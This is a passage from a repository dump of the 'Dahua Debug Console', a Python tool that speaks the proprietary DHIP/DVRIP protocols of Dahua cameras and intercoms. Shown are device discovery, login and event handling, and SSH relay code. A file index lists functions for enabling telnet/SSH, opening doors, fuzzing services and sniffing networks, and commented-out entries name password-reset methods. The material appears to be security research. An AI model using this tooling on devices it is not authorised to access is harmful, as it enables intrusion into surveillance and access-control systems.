        """Will set the crypting key for this object. Either 16 or 24 bytes long."""
        self.key_size = 24  # Use DES-EDE3 mode
        if len(key) != self.key_size:
            if len(key) == 16:  # Use DES-EDE2 mode
                self.key_size = 16

        self.__key1 = Des(key[:8])
        self.__key2 = Des(key[8:16])
        if self.key_size == 16:
            self.__key3 = self.__key1
        else:
            self.__key3 = Des(key[16:])

        _BaseDes.set_key(self, key)

    def encrypt(self, dh_data):

        dh_data = self.__key1.crypt(dh_data, ENCRYPT)
        dh_data = self.__key2.crypt(dh_data, DECRYPT)
        dh_data = self.__key3.crypt(dh_data, ENCRYPT)
        return dh_data

    def decrypt(self, dh_data):
        dh_data = self.__key3.crypt(dh_data, DECRYPT)
        dh_data = self.__key2.crypt(dh_data, ENCRYPT)
        dh_data = self.__key1.crypt(dh_data, DECRYPT)
        return dh_data


================================================
FILE: events.py
================================================
import _thread
from utils import *
from connection import DahuaConnect


class DahuaEvents(DahuaConnect):
    def __init__(self):
        super(DahuaEvents, self).__init__()

    def internal_event_manager(self, dh_data):
        """ JSON fixing part, then feed 'local_event_handler()' """

        try:
            events = fix_json(dh_data)
            for event in events:
                self.local_event_handler(event)
        except Exception as e:
            log.failure('[internal_event_manager] {}'.format(repr(e)))

    def local_event_handler(self, dh_data):
        """ Local event handler """
        try:
            host = dh_data.get('host')
            event_list = dh_data.get('params').get('eventList')

            for events in event_list:
                if events.get('Action') == 'Start':
                    """
                    Reboot event, remote device is already rebooting and we cannot make clean exit,
                    so just close instance and reschedule connection
                    """
                    if events.get('Code') == 'Reboot':
                        log.warning('[{} ({}) ] {}'.format(
                            color(events.get('Data').get('LocaleTime'), LYELLOW),
                            color(host, GREEN),
                            color('Reboot', RED),
                        ))
                        tmp = False

                        session = None
                        for session in self.dhConsole:
                            if self.dhConsole.get(session).get('host') == host:
                                log.warning(
                                    "{}: {} ({})".format(
                                        session,
                                        self.dhConsole.get(session).get('device'),
                                        self.dhConsole.get(session).get('host')))

                                tmp = self.dhConsole.get(session).get('instance')
                                tmp.terminate = True
                                tmp.logout()
                                break
                        if tmp:
                            if tmp == self.dh:
                                del self.dh
                                self.dhConsole.pop(session)

                                if len(self.dhConsole):
                                    for session in self.dhConsole:
                                        self.dh = self.dhConsole.get(session).get('instance')
                                        break
                            else:
                                del tmp
                                self.dhConsole.pop(session)

                        # _thread.start_new_thread(self.restart_connection, ("restart_connection", host,))
                        _thread.start_new_thread(self.restart_connection, (host,))

                    elif events.get('Code') == 'Exit':

                        log.warning('[{} ({}) ] {}'.format(
                            color(events.get('Data').get('LocaleTime'), YELLOW),
                            color(host, GREEN),
                            color('Exit App', RED)
                        ))
                    elif events.get('Code') == 'ShutDown':

                        log.warning('[{} ({}) ] {}'.format(
                            color(events.get('Data').get('LocaleTime'), YELLOW),
                            color(host, GREEN),
                            color('ShutDown App', RED)
                        ))
                    # VTO
                    elif events.get('Code') == 'AlarmLocal':

                        log.warning('[{} ({}) ] {}'.format(
                            color(events.get('Data').get('LocaleTime'), YELLOW),
                            color(host, GREEN),
                            color('AlarmLocal [Start]', RED)
                        ))
                    # VTO
                    elif events.get('Code') == 'ProfileAlarmTransmit':
                        log.warning('[{} ({}) ] {}'.format(
                            color(events.get('Data').get('LocaleTime'), YELLOW),
                            color(host, GREEN),
                            color(
                                'ProfileAlarmTransmit [Start]\n'
                                'AlarmType: {}, DevSrcType: {}, SenseMethod: {}, UserID: {}'.format(
                                    events.get('Data').get('AlarmType'),
                                    events.get('Data').get('DevSrcType'),
                                    events.get('Data').get('SenseMethod'),
                                    events.get('Data').get('UserID'),
                                ), RED)
                        ))
                    elif events.get('Code') == 'SafetyAbnormal':
                        log.warning('[{} ({}) Start ] {}'.format(
                            color(
                                events.get('Data').get('AbnormalTime')
                                if events.get('Data').get('AbnormalTime') else events.get('Data').get('LocaleTime'),
                                YELLOW
                            ),
                            color(host, GREEN),
                            color('{} {}'.format(
                                events.get('Data').get('ExceptionType'),
                                events.get('Data').get('Address')
                            ), RED),
                        ))

                elif events.get('Action') == 'Stop':

                    # VTO
                    if events.get('Code') == 'AlarmLocal':

                        log.warning('[{} ({}) ] {}'.format(
                            color(events.get('Data').get('LocaleTime'), YELLOW),
                            color(host, GREEN),
                            color('AlarmLocal [Stop]', GREEN)
                        ))

                    # VTO
                    elif events.get('Code') == 'ProfileAlarmTransmit':
                        log.warning('[{} ({}) ] {}'.format(
                            color(events.get('Data').get('LocaleTime'), YELLOW),
                            color(host, GREEN),
                            color(
                                'ProfileAlarmTransmit [Stop]\n'
                                'AlarmType: {}, DevSrcType: {}, SenseMethod: {}, UserID: {}'.format(
                                    events.get('Data').get('AlarmType'),
                                    events.get('Data').get('DevSrcType'),
                                    events.get('Data').get('SenseMethod'),
                                    events.get('Data').get('UserID'),
                                ), GREEN)
                        ))

                    elif events.get('Code') == 'SafetyAbnormal':
                        log.warning('[{} ({}) Stop ] {}'.format(
                            color(
                                events.get('Data').get('AbnormalTime')
                                if events.get('Data').get('AbnormalTime') else events.get('Data').get('LocaleTime'),
                                YELLOW
                            ),
                            color(host, GREEN),
                            color('{} {}'.format(
                                events.get('Data').get('ExceptionType'),
                                events.get('Data').get('Address')
                            ), RED),
                        ))

                elif events.get('Action') == 'Pulse':

                    if events.get('Code') == 'SafetyAbnormal':
                        log.warning('[{} ({}) ] {}'.format(
                            color(
                                events.get('Data').get('AbnormalTime')
                                if events.get('Data').get('AbnormalTime') else events.get('Data').get('LocaleTime'),
                                YELLOW
                            ),
                            color(host, GREEN),
                            color('{} {}'.format(
                                events.get('Data').get('ExceptionType'),
                                events.get('Data').get('Address')
                            ), RED),
                        ))

                    elif events.get('Code') == 'LoginFailure':
                        log.warning('[{} ({}) ] {}'.format(
                            color(events.get('Data').get('LocaleTime'), YELLOW),
                            color(host, GREEN),
                            color('Login Failure: {} {} ({})'.format(
                                events.get('Data').get('Name'),
                                events.get('Data').get('Address'),
                                events.get('Data').get('Type')
                            ), RED),
                        ))

                    elif events.get('Code') == 'RemoteIPModified':
                        log.warning('[{} ({}) ] {}\n{}'.format(
                            color(events.get('Data').get('LocaleTime'), YELLOW),
                            color(host, GREEN),
                            color('DHDiscover.setConfig', YELLOW),
                            events.get('Data'),
                        ))

                    elif events.get('Code') == 'Reset':
                        log.warning('[{} ({}) ] {}'.format(
                            color(events.get('Data').get('LocaleTime'), YELLOW),
                            color(host, GREEN),
                            color('Factory default reset', RED),
                        ))

                    # VTH
                    elif events.get('Code') == 'InfoTip':
                        log.warning('[{} ({}) ] {}'.format(
                            color(events.get('Data').get('LocaleTime'), YELLOW),
                            color(host, GREEN),
                            color('InfoTip', YELLOW),
                        ))
                    # VTH
                    elif events.get('Code') == 'KeepLightOn':
                        log.warning('[{} ({}) ] {}'.format(
                            color(events.get('Data').get('LocaleTime'), YELLOW),
                            color(host, GREEN),
                            color('KeepLightOn: {}'.format(events.get('Data').get('Status')), YELLOW),
                        ))
                    # VTH
                    elif events.get('Code') == 'ScreenOff':
                        log.warning('[{} ({}) ] {}'.format(
                            color(events.get('Data').get('LocaleTime'), YELLOW),
                            color(host, GREEN),
                            color('ScreenOff', YELLOW),
                        ))
                    # VTH
                    elif events.get('Code') == 'VthAlarm':
                        log.warning('[{} ({}) ] {}'.format(
                            color(events.get('Data').get('LocaleTime'), YELLOW),
                            color(host, GREEN),
                            color('VTH Alarm', RED),
                        ))

        except Exception as e:
            log.failure('[local_event_handler] {}'.format(repr(e)))
            pass


================================================
FILE: eventviewer.py
================================================
#!/usr/bin/env python3
from utils import *


def main():
	""" Simple Event Viewer """
	events = None
	try:
		events = remote('127.0.0.1', EventOutServerPort, ssl=False, timeout=5)

		while True:
			event_data = ''

			while True:
				tmp = len(event_data)
				event_data += events.recv(numb=8192, timeout=1).decode('latin-1')
				if tmp == len(event_data):
					break

			if len(event_data):
				# fix the JSON mess
				event_data = fix_json(event_data)
				if not len(event_data):
					log.warning('[Simple Event Viewer]: callback data invalid!\n')
					return False

				for event in event_data:
					log.info('[Event From]: {}\n{}'.format(color(event.get('host'), GREEN), event))

	except (PwnlibException, EOFError, KeyboardInterrupt):
		log.warning("[Simple Event Viewer]")
		if events:
			events.close()
		return False


if __name__ == '__main__':
	main()


================================================
FILE: net.py
================================================
import ast
import ndjson
import copy
import inspect
import _thread

from utils import *
from pwdmanager import PwdManager
from relay import init_relay, DahuaHttp


def dahua_proto(proto):
    """ DVRIP have different codes in their protocols """

    headers = [
        b'\xa0\x00',  # 3DES Login
        b'\xa0\x01',  # DVRIP Send Request Realm
        b'\xa0\x05',  # DVRIP login Send Login Details
        b'\xb0\x00',  # DVRIP Receive
        b'\xb0\x01',  # DVRIP Receive
        b'\xa3\x01',  # DVRIP Discover Request
        b'\xb3\x00',  # DVRIP Discover Response
        b'\xf6\x00',  # DVRIP JSON
    ]
    if proto[:2] in headers:
        return True
    return False


class Network(object):
    def __init__(self):
        super(Network, self).__init__()

        self.args = None

        """ If we don't have own udp server running in main app, will be False and we do not send anything """
        self.tcp_server = None

        self.console_attach = None
        self.DeviceClass = None
        self.DeviceType = None
        self.AuthCode = None
        self.ErrorCode = None

        # Internal sharing
        self.ID = 0							# Our Request / Response ID that must be in all requests and initiated by us
        self.SessionID = 0					# Session ID will be returned after successful login
        self.header = None

        self.instance_serviceDB = {}		# Store of Object, ProcID, SID, etc.. for 'service'
        self.multicall_query_args = []		# Used with system.multicall method
        self.multicall_query = []			# Used with system.multicall method
        self.multicall_return_check = None  # Used with system.multicall method

        self.fuzzDB = {}					# Used when fuzzing some calls

        self.RestoreEventHandler = {}		# Cache of temporary enabled events

        self.params_tmp = {}					# Used in instance_create()
        self.attachParamsTMP = []			# Used in instance_create()

        self.RemoteServicesCache = {}		# Cache of remote services, used to check if certain service exist or not
        self.RemoteMethodsCache = {}		# Cache of used remote methods
        self.RemoteConfigCache = {}			# Cache of remote config

        self.rhost = None
        self.rport = None
        self.proto = None
        self.events = None
        self.ssl = None
        self.relay_host = None
        self.timeout = None
        self.udp_server = None

        self.proto = None
        self.relay = None
        self.remote = None

        self.debug = None
        self.debugCalls = None				# Some internal debugging

        self.event = threading.Event()
        self.socket_event = threading.Event()
        self.lock = threading.Lock()
        self.recv_stream_status = threading.Event()
        self.terminate = False

    #############################################################################################################
    #
    # Custom pwntools functions
    #
    #############################################################################################################

    def custom_can_recv(self, timeout=0.020):
        """
        wrapper for pwntools 'can_recv()'
        SSLSocket and paramiko recv() do not support any flags
        """

        time.sleep(timeout)

        try:
            """ pwntools """
            if self.remote.can_recv():
                return True
            return False
        except TypeError:
            """ paramiko ssh """
            if self.remote.sock.recv_ready():
                return True
            return False
        except ValueError:
            """ SSL """
            # TODO: Not found any way for SSL
            return True
        except AttributeError:
            """ OSError """
            print('AttributeError')
            return False

    def custom_connect_remote(self, rhost, rport, timeout=10):
        """ Custom SSH connect_remote(), still we using pwntools 'transport()' """
        # channel = self.relay.transport.Channel(timeout=timeout)
        channel = self.relay.transport.open_channel('direct-tcpip', (rhost, rport), ('127.0.0.1', 0), timeout=timeout)
        print(self.relay.transport.is_active())
        return channel

    def custom_exec_command(self, cmd, script='', timeout=10, env_export=None):
        """ Custom SSH exec_command(), still using pwntools 'transport()' """

        env_export = ';'.join('export {}={}'.format(var, env_export.get(var)) for var in env_export)
        cmd = ''.join([env_export, cmd, script])

        stdout = b''
        stderr = b''
        sftp = None
        relay = None

        """
        Generally not many embedded devices who has sftp support,
        meaning it will most likely not support exec_command() and/or python either.
        Just to avoid potential 'psh' hanging in embedded devices
        """
        try:
            sftp = self.relay.transport.open_session(timeout=timeout)
            sftp.settimeout(timeout=timeout)
            sftp.invoke_subsystem('sftp')
        except Exception as e:
            print('[custom_exec_command] (sftp)', repr(e))
            return {"stdout": [], "stderr": ['embedded devices not supported']}
        finally:
            if sftp:
                sftp.close()

        try:
            relay = self.relay.transport.open_session(timeout=timeout)
            relay.settimeout(timeout=timeout)
            relay.exec_command(cmd)

            while True:
                stdout = b''.join([stdout, relay.recv(4096)])
                if relay.exit_status_ready():
                    break
            """ Catch potential stderr from remote """
            stderr = b''.join([stderr, relay.recv_stderr(4096)])
        except Exception as e:
            print('[custom_exec_command] (relay)', repr(e))
            return {"stdout": [], "stderr": ['exec request failed on channel {}'.format(relay.get_id())]}
        finally:
            if relay:
                relay.close()

        stdout = stdout.decode('utf-8').split('\n')
        stderr = stderr.decode('utf-8').split('\n')

        """ return output in list, remove potential empty entries """
        return {
            "stdout": [x for x in stdout if x],
            "stderr": [x for x in stderr if x]
        }

    def dh_discover(self, msg):
        """ Device DHIP/DVRIP discover function """

        cmd = msg.split()
        dh_data = None
        host = None
        sock = None
        remote_recvfrom = None
        remote_ip = None
        remote_port = None

        usage = {
            "dhip": "[host]",
            "dvrip": "[host]"
        }
        if len(cmd) < 2 or len(cmd) > 3 or cmd[1] == '-h':
            log.info('{}'.format(help_all(msg=msg, usage=usage)))
            return True
        discover = cmd[1]

        if discover == 'dhip':
            if len(cmd) == 2:
                dip = '239.255.255.251'
            else:
                dip = check_host(cmd[2])
                if not dip:
                    log.failure("Invalid RHOST")
                    return False
            dport = 37810

            query_args = {
                "method": "DHDiscover.search",
                # "method": "deviceDiscovery.refresh",
                # "method": "deviceDiscovery.ipScan",
                # "method": "DHDiscover.setConfig",
                # "method": "Security.getEncryptInfo",
                # "method": "DevInit.account",
                # "method": "PasswdFind.getDescript",
                # "method": "PasswdFind.resetPassword",
                # "method": "PasswdFind.checkAuthCode",
                # "method": "DevInit.leAction",
                # "method": "userManager.getCaps",
                # "method": "DevInit.access",
                # "method": "Security.modifyPwdOutSession",
                "params": {
                    "mac": "",
                    "uni": 1
                },
            }

            header = \
                p64(0x2000000044484950, endian='big') + p64(0x0) + p32(len(json.dumps(query_args))) + \
                p32(0x0) + p32(len(json.dumps(query_args))) + p32(0x0)

            packet = header + json.dumps(query_args).encode('latin-1')

        elif discover == 'dvrip':
            if len(cmd) == 2:
                dip = '255.255.255.255'
            else:
                dip = check_host(cmd[2])
                if not dip:
                    log.failure("Invalid RHOST")
                    return False
            dport = 5050

            packet = p32(0xa3010001, endian='big') + (p32(0x0) * 3) + p32(0x02000000, endian='big') + (p32(0x0) * 3)

        else:
            log.failure('{}'.format(help_all(msg=cmd[0], usage=usage)))
            return False

        if self.relay_host:
            script = r"""
import os, sys, socket, base64

socket.setdefaulttimeout(4)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
sock.sendto(base64.b64decode(os.getenv('PACKET')), (os.getenv('dip'),int(os.getenv('dport'))))

while True:
    try:
        dh_data, addr = sock.recvfrom(8196)
        print({"host": addr[0],
            "dh_data": base64.b64encode(dh_data)
        })
    except Exception as e:
        # sys.stderr.write(repr(e))
        break
sock.close()
"""
            env_export = {
                'PATH': '/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/local/sbin',
                'PACKET': b64e(packet),
                'dip': dip,
                'dport': str(dport)
            }

            if not self.relay:
                dh_data = init_relay(relay=self.relay_host, rhost=self.rhost, rport=self.rport, discover=discover)
                if not dh_data:
                    return False
                self.relay = dh_data.get('dh_relay')

            remote_recvfrom = self.custom_exec_command(
                cmd=';python -c ', script=sh_string(script), env_export=env_export)
        else:
            socket.setdefaulttimeout(3)
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)

            self._debug("SEND", packet)
            sock.sendto(packet, (dip, dport))

        while True:
            if self.relay:

                for host in remote_recvfrom.get('stdout'):
                    x = ast.literal_eval(host)

                    dh_data = b64d(x.get('dh_data'))
                    remote_ip = x.get('host')
                    remote_port = dport
                    break
                if len(remote_recvfrom.get('stdout')):
                    remote_recvfrom.get('stdout').remove(host)
                else:
                    if len(remote_recvfrom.get('stderr')):
                        for stderr in remote_recvfrom.get('stderr'):
                            log.warning('[stderr] {}'.format(stderr))
                    return True
            else:
                try:
                    dh_data, addr = sock.recvfrom(4096)
                    remote_ip = addr[0]
                    remote_port = addr[1]
                except (Exception, KeyboardInterrupt, SystemExit):
                    sock.close()
                    return True

            log.success("dh_discover response from: {}:{}".format(remote_ip, remote_port))
            self._debug("RECV", dh_data)

            dh_data = dh_data[32:].decode('latin-1')

            if discover == 'dhip':
                dh_data = json.loads(dh_data.strip('\x00'))
                print(json.dumps(dh_data, indent=4))

            elif discover == 'dvrip':
                bin_info = {
                    "Version": {
                        "Version": "{}.{}.{}.{}".format(
                            u16(dh_data[0:2]), u16(dh_data[2:4]), u16(dh_data[4:6]), u16(dh_data[6:8]))
                    },
                    "Network": {
                        "Hostname": dh_data[8:24].strip('\x00'),
                        "IPAddress": unbinary_ip(dh_data[24:28]),
                        "SubnetMask": unbinary_ip(dh_data[28:32]),
                        "DefaultGateway": unbinary_ip(dh_data[32:36]),
                        "DnsServers": unbinary_ip(dh_data[36:40]),
                    },
                    "AlarmServer": {
                        "Address": unbinary_ip(dh_data[40:44]),
                        "Port": u16(dh_data[44:46]),
                        "Unknown46-47": u8(dh_data[46:47]),
                        "Unknown47-48": u8(dh_data[47:48]),
                    },
                    "Email": {
                        "Address": unbinary_ip(dh_data[48:52]),
                        "Port": u16(dh_data[52:54]),
                        "Unknown54-55": u8(dh_data[54:55]),
                        "Unknown55-56": u8(dh_data[55:56]),
                    },
                    "Unknown": {
                        "Unknown56-50": unbinary_ip(dh_data[56:60]),
                        "Unknown60-62": u16(dh_data[60:62]),
                        "Unknown82-86": unbinary_ip(dh_data[82:86]),
                        "Unknown86-88": u16(dh_data[86:88]),
                    },
                    "Web": {
                        "Port": u16(dh_data[62:64]),
                    },
                    "HTTPS": {
                        "Port": u16(dh_data[64:66]),
                    },
                    "DVRIP": {
                        "TCPPort": u16(dh_data[66:68]),
                        "MaxConnections": u16(dh_data[68:70]),
                        "SSLPort": u16(dh_data[70:72]),
                        "UDPPort": u16(dh_data[72:74]),
                        "Unknown74-75": u8(dh_data[74:75]),
                        "Unknown75-76": u8(dh_data[75:76]),
                        "MCASTAddress": unbinary_ip(dh_data[76:80]),
                        "MCASTPort": u16(dh_data[80:82]),
                    },

                }

                log.info("Binary:\n{}".format(json.dumps(bin_info, indent=4)))
                log.info("Ascii:\n{}".format(dh_data[88:].strip('\x00')))

    def dh_connect(self, username=None, password=None, logon=None, force=False):
        """ Initiate connection to device and handle possible calls from cmd line """
        console = None

        log.info(
            color('logon type "{}" with proto "{}" at {}:{}'.format(logon, self.proto, self.rhost, self.rport), LGREEN)
        )

        if self.relay_host:
            dh_data = init_relay(relay=self.relay_host, rhost=self.rhost, rport=self.rport)
            if not dh_data:
                return False
            self.relay = dh_data.get('dh_relay')
            self.remote = dh_data.get('dh_remote')

        elif self.proto == 'http' or self.proto == 'https':
            self.remote = DahuaHttp(self.rhost, self.rport, proto=self.proto, timeout=self.timeout)

        else:
            try:
                self.remote = remote(self.rhost, self.rport, ssl=self.ssl, timeout=self.timeout)
            except PwnlibException:
                return False

        if self.args.test:
            self.header = self.proto_header()
            return True

        if not self.args.dump:
            console = log.progress(color('Dahua Debug Console', YELLOW))
            console.status(color('Trying', YELLOW))

        if self.proto == 'dvrip' or self.proto == '3des':
            if not self.dahua_dvrip_login(username=username, password=password, logon=logon):
                if not self.args.dump:
                    if self.args.save:
                        console.success('Save host')
                    else:
                        console.failure(color("Failed", RED))
                    return False
                else:
                    return False

        elif self.proto == 'dhip' or self.proto == 'http' or self.proto == 'https':
            if not self.dahua_dhip_login(username=username, password=password, logon=logon, force=force):

                if not self.args.dump:
                    if self.args.save:
                        console.success('Save host')
                    else:
                        console.failure(color('Failed', RED))
                    return False
                else:
                    return False

        # Old devices fail and close connection
        if logon != 'old_3des':
            query_args = {
                "method": "userManager.getActiveUserInfoAll",
                "params": {
                },
            }

            dh_data = self.send_call(query_args)

            users = '{}'.format(help_msg('Active Users'))
            if dh_data.get('params').get('users') is not None:
                for user in dh_data.get('params').get('users'):
                    users += '{}@{} sinc
Download .txt
gitextract_a6zqxfdp/

├── .gitignore
├── Console.py
├── LICENSE
├── README.md
├── connection.py
├── dahua.py
├── dahua_logon_modes.py
├── events.py
├── eventviewer.py
├── net.py
├── pwdmanager.py
├── relay.py
├── requirements.txt
├── servers.py
└── utils.py
Download .txt
SYMBOL INDEX (150 symbols across 11 files)

FILE: Console.py
  class DebugConsole (line 16) | class DebugConsole(Servers):
    method __init__ (line 19) | def __init__(self, dargs):
    method main_console (line 37) | def main_console(self):
    method memory_info (line 298) | def memory_info():
    method set_config (line 305) | def set_config(self, key, table):
    method restore (line 324) | def restore(self, fd):
    method connect (line 331) | def connect(self):
    method dump (line 356) | def dump(self):
    method quit_host (line 386) | def quit_host(self, quit_all=False, msg=None):
    method dh_instance (line 442) | def dh_instance(self, show=False):
    method prompt (line 472) | def prompt():
    method dh_console (line 477) | def dh_console(self, msg):
    method debug_instance (line 639) | def debug_instance(self, msg):
  function main (line 731) | def main():

FILE: connection.py
  class DahuaConnect (line 6) | class DahuaConnect(object):
    method __init__ (line 7) | def __init__(self):
    method restart_connection (line 18) | def restart_connection(self, host):
    method connect_rhost (line 52) | def connect_rhost(

FILE: dahua.py
  class DahuaFunctions (line 12) | class DahuaFunctions(Network):
    method __init__ (line 14) | def __init__(
    method run_cmd (line 48) | def run_cmd(self, msg):
    method list_service (line 75) | def list_service(self, msg, fuzz=False):
    method save_to_file (line 206) | def save_to_file(self, file_name, dh_data):
    method help_service (line 222) | def help_service(self, msg):
    method reboot (line 255) | def reboot(self, delay=1):
    method logout (line 272) | def logout(self):
    method config_members (line 313) | def config_members(self, msg):
    method open_door (line 360) | def open_door(self, msg):
    method telnetd_sshd (line 506) | def telnetd_sshd(self, msg):
    method method_banned (line 567) | def method_banned(msg):
    method fuzz_service (line 605) | def fuzz_service(self, msg):
    method dev_storage (line 893) | def dev_storage(self):
    method get_encrypt_info (line 952) | def get_encrypt_info(self):
    method get_remote_info (line 979) | def get_remote_info(self, msg):
    method delete_config (line 1178) | def delete_config(self, msg):
    method new_config (line 1200) | def new_config(self, msg):
    method set_ldap (line 1288) | def set_ldap(self):
    method set_debug (line 1330) | def set_debug(self):
    method u_boot (line 1381) | def u_boot(self, msg):
    method network_sniffer_manager (line 1582) | def network_sniffer_manager(self, msg):
    method interim_remote_diagnose (line 1722) | def interim_remote_diagnose(self, msg):
    method net_app (line 2063) | def net_app(self, msg, callback=False):
    method dlog (line 2514) | def dlog(self, msg):
    method dh_test (line 2620) | def dh_test(self, msg):
    method user_manager (line 2623) | def user_manager(self, msg):

FILE: dahua_logon_modes.py
  function dahua_logon (line 9) | def dahua_logon(logon=None, query_args=None, username=None, password=Non...
  function _compressor (line 339) | def _compressor(in_var, out):
  function dahua_gen1_hash (line 360) | def dahua_gen1_hash(password):
  function basic_auth (line 377) | def basic_auth(username, password):
  function dahua_dvrip_md5_hash (line 382) | def dahua_dvrip_md5_hash(dh_random=None, username=None, password=None, s...
  function dahua_gen2_md5_hash (line 391) | def dahua_gen2_md5_hash(
  function dahua_digest_md5_hash (line 407) | def dahua_digest_md5_hash(dh_random=None, dh_realm=None, username=None, ...
  function dahua_onvif_sha1_hash (line 418) | def dahua_onvif_sha1_hash(dh_random=None, password=None, device_random=F...
  function dahua_gen0_hash (line 444) | def dahua_gen0_hash(dh_data, des_mode):
  class _BaseDes (line 502) | class _BaseDes(object):
    method __init__ (line 505) | def __init__(self):
    method get_key (line 509) | def get_key(self):
    method set_key (line 513) | def set_key(self, key):
  class Des (line 518) | class Des(_BaseDes):
    method __init__ (line 664) | def __init__(self, key):
    method set_key (line 674) | def set_key(self, key):
    method __string_to_bitlist (line 680) | def __string_to_bitlist(dh_data):
    method __bitlist_to_string (line 685) | def __bitlist_to_string(dh_data):
    method __permutate (line 690) | def __permutate(table, block):
    method __create_sub_keys (line 698) | def __create_sub_keys(self):
    method __des_crypt (line 721) | def __des_crypt(self, block, crypt_type):
    method crypt (line 823) | def crypt(self, dh_data, crypt_type):
    method encrypt (line 847) | def encrypt(self, dh_data):
    method decrypt (line 851) | def decrypt(self, dh_data):
  class TripleDes (line 856) | class TripleDes(_BaseDes):
    method __init__ (line 859) | def __init__(self, key):
    method set_key (line 868) | def set_key(self, key):
    method encrypt (line 884) | def encrypt(self, dh_data):
    method decrypt (line 891) | def decrypt(self, dh_data):

FILE: events.py
  class DahuaEvents (line 6) | class DahuaEvents(DahuaConnect):
    method __init__ (line 7) | def __init__(self):
    method internal_event_manager (line 10) | def internal_event_manager(self, dh_data):
    method local_event_handler (line 20) | def local_event_handler(self, dh_data):

FILE: eventviewer.py
  function main (line 5) | def main():

FILE: net.py
  function dahua_proto (line 12) | def dahua_proto(proto):
  class Network (line 30) | class Network(object):
    method __init__ (line 31) | def __init__(self):
    method custom_can_recv (line 94) | def custom_can_recv(self, timeout=0.020):
    method custom_connect_remote (line 121) | def custom_connect_remote(self, rhost, rport, timeout=10):
    method custom_exec_command (line 128) | def custom_exec_command(self, cmd, script='', timeout=10, env_export=N...
    method dh_discover (line 182) | def dh_discover(self, msg):
    method dh_connect (line 387) | def dh_connect(self, username=None, password=None, logon=None, force=F...
    method _sleep_check_socket (line 521) | def _sleep_check_socket(self, delay):
    method _p2p_keepalive (line 558) | def _p2p_keepalive(self, delay):
    method _check_for_keepalive (line 626) | def _check_for_keepalive(self, dh_data):
    method client_notify (line 656) | def client_notify(self, dh_data):
    method send_call (line 702) | def send_call(self, query_args=None, multicall=False, multicallsend=Fa...
    method instance_service (line 869) | def instance_service(
    method instance_create (line 992) | def instance_create(
    method instance_destroy (line 1117) | def instance_destroy(self, method, _proc_id, object_id, detach=True, d...
    method check_for_service (line 1159) | def check_for_service(self, service):
    method event_manager (line 1183) | def event_manager(self, msg):
    method event_manager_set_config (line 1236) | def event_manager_set_config(self):
    method console_result (line 1409) | def console_result(self, msg, callback=False):
    method device_discovery (line 1438) | def device_discovery(self, msg, callback=False):
    method cleanup (line 1636) | def cleanup(self):
    method _debug (line 1643) | def _debug(self, direction, packet):
    method _p2p_len (line 1686) | def _p2p_len(self, dh_data):
    method update_id (line 1733) | def update_id(self):
    method p2p (line 1739) | def p2p(self, packet=None, recv=False, lock=True, timeout=60, login=Fa...
    method dahua_dhip_login (line 1952) | def dahua_dhip_login(self, username=None, password=None, logon=None, f...
    method dahua_dvrip_login (line 2111) | def dahua_dvrip_login(self, username=None, password=None, logon=None):
    method proto_header (line 2242) | def proto_header(self):
    method subscribe_notify (line 2252) | def subscribe_notify(self, status=False):

FILE: pwdmanager.py
  class PwdManager (line 5) | class PwdManager(object):
    method __init__ (line 7) | def __init__(self):
    method dvrip (line 10) | def dvrip(self, rhost=None, username=None, password=None, proto=None, ...
    method dhip (line 49) | def dhip(self, rhost=None, query_args=None, username=None, password=No...
    method read_hosts (line 92) | def read_hosts():
    method write_hosts (line 102) | def write_hosts(dh_data):
    method get_relay (line 114) | def get_relay(self, rhost=None):
    method save_host (line 122) | def save_host(self, rhost, rport, proto, username, password, dh_realm,...
    method get_host (line 178) | def get_host(self, host=None, dh_realm=None):
    method find_host (line 196) | def find_host(self, host=None):

FILE: relay.py
  function custom_checksec (line 10) | def custom_checksec(host, port, message):
  function init_relay (line 19) | def init_relay(relay=None, rhost=None, rport=None, discover=False):
  class DahuaHttp (line 95) | class DahuaHttp(object):
    method __del__ (line 96) | def __del__(self):
    method __init__ (line 102) | def __init__(self, rhost, rport, proto, timeout=60):
    method send (line 143) | def send(self, url=None, query_args=None, login=False, timeout=5):
    method _get_url (line 202) | def _get_url(login, url):
    method _update_host (line 211) | def _update_host(self):
    method _init_uri (line 217) | def _init_uri(self):
    method _error (line 221) | def _error(dh_error=None, code=500):
    method options (line 225) | def options(self):
    method post (line 234) | def post(self, url, query_args, timeout):
    method get (line 238) | def get(self, url, timeout):
    method open_stream (line 242) | def open_stream(self, session_id):
    method recv_stream (line 249) | def recv_stream(self):
    method can_recv (line 254) | def can_recv():
    method connected (line 260) | def connected():
    method close (line 264) | def close(self):

FILE: servers.py
  class Servers (line 8) | class Servers(DahuaEvents):
    method __init__ (line 9) | def __init__(self):
    method terminate_daemons (line 15) | def terminate_daemons(self):
    method event_in_out_server (line 64) | def event_in_out_server(self):

FILE: utils.py
  function color (line 24) | def color(dtext, dcolor):
  function fix_json (line 28) | def fix_json(mess):
  function help_msg (line 58) | def help_msg(dh_data):
  function help_all (line 63) | def help_all(msg, usage):
  function check_ip (line 132) | def check_ip(ip_addr):
  function check_port (line 149) | def check_port(port):
  function check_host (line 162) | def check_host(addr):
  function binary_ip (line 176) | def binary_ip(host, endian="big"):
  function unbinary_ip (line 190) | def unbinary_ip(host, endian="big"):
Condensed preview — 15 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (310K chars).
[
  {
    "path": ".gitignore",
    "chars": 48,
    "preview": "__pycache__/\n.idea/\n.git/\nbackup/\n*.json\n/venv/\n"
  },
  {
    "path": "Console.py",
    "chars": 32997,
    "preview": "#!/usr/bin/env python3\n\n\"\"\"\nAuthor: bashis <mcw noemail eu> 2019-2021\nSubject: Dahua Debug Console\n\"\"\"\nimport argparse\ni"
  },
  {
    "path": "LICENSE",
    "chars": 1063,
    "preview": "MIT License\n\nCopyright (c) 2021 bashis\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof "
  },
  {
    "path": "README.md",
    "chars": 2863,
